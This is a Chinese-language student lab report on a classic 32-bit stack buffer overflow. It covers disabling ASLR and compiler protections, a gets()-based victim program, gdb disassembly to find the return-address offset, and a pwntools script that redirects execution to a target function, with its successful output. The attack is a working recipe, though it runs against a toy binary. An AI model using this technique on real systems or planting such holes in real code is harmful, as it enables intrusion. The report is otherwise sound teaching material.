模拟栈溢出攻击

沙之洲 2020012408

0 代码说明

要复现本次实验，首先需要关掉所有保护。再进行编译

```
sudo sysctl -w kernel.randomize_va_space=0
gcc -fno-stack-protector -no-pie -fcf-protection=none -O0 -m32 main.c -o main
```

接下来，运行 python 攻击脚即可复现攻击

```
python attacker.py
```

1 实验原理及细节

1.1 受害者程序

受害者程序如下

```
void dangerous_get_function(){
    char buf[4];
    gets(buf);
}

void target(){
    puts("Success!\n");
    exit(-1);
}

int main(){
    dangerous_get_function();
    puts("Fail!\n");
    return 0;
}
```

可以看到 `dangerous_get_function` 中的 `get` 方法，没有对输入长度进行检查，所以可以越界写入，覆盖掉函数的返回地址，操控程序的控制流运行 `target` 恶意函数

1.2 反汇编

首先通过 `gdb` 对 `target` 函数反汇编，得到其地址

```
(gdb) disas target
Dump of assembler code for function target:
   0x080491be <+0>:     push   %ebp
   0x080491bf <+1>:     mov    %esp,%ebp
   0x080491c1 <+3>:     push   %ebx
```

```
   0x080491c2 <+4>:     sub    $0x4,%esp
   0x080491c5 <+7>:     call   0x80490d0 <__x86.get_pc_thunk.bx>
   0x080491ca <+12>:    add    $0x2e36,%ebx
   0x080491d0 <+18>:    sub    $0xc,%esp
   0x080491d3 <+21>:    lea    -0x1ff8(%ebx),%eax
   0x080491d9 <+27>:    push   %eax
   0x080491da <+28>:    call   0x8049050 <puts@plt>
   0x080491df <+33>:    add    $0x10,%esp
   0x080491e2 <+36>:    sub    $0xc,%esp
   0x080491e5 <+39>:    push   $0xffffffff
   0x080491e7 <+41>:    call   0x8049060 <exit@plt>
End of assembler dump.
```

得到 `target` 函数的地址为 `0x080491be`

接下来，反汇编 `dangerous_get_function` 分析得到其运行时的栈帧结构

```
(gdb) disas dangerous_get_function
Dump of assembler code for function dangerous_get_function:
   0x08049196 <+0>:     push   %ebp
   0x08049197 <+1>:     mov    %esp,%ebp
   0x08049199 <+3>:     push   %ebx
   0x0804919a <+4>:     sub    $0x14,%esp
   0x0804919d <+7>:     call   0x804922c <__x86.get_pc_thunk.ax>
   0x080491a2 <+12>:    add    $0x2e5e,%eax
   0x080491a7 <+17>:    sub    $0xc,%esp
   0x080491aa <+20>:    lea    -0xc(%ebp),%edx
   0x080491ad <+23>:    push   %edx
   0x080491ae <+24>:    mov    %eax,%ebx
   0x080491b0 <+26>:    call   0x8049040 <gets@plt>
   0x080491b5 <+31>:    add    $0x10,%esp
   0x080491b8 <+34>:    nop
   0x080491b9 <+35>:    mov    -0x4(%ebp),%ebx
   0x080491bc <+38>:    leave
   0x080491bd <+39>:    ret
End of assembler dump.
```

在 `+31` 可以推断出，`buf` 数组和返回值地址的距离为 `0x10` 所以输入 16 个字符之后，再输入 `target` 的地址 `0x080491be` 即可实现攻击

2 实验结果

通过上述的分析，可以构造如下的 Python 攻击脚本

```
from pwn import *

target = process("main")
buf = b'P'*16 + p32(0x080491be)
target.sendline(buf)
target.interactive()
```

可以看到，在输入 16 个无效字符 P 之后，输入了 target 函数的返回地址

最终运行的结果如下

```
# python attacker.py
[+] Starting local process './main': pid 934
[*] Switching to interactive mode
[*] Process './main' stopped with exit code 255 (pid 934)

Success!

[*] Got EOF while reading in interactive
```

可以看到，成功实现了攻击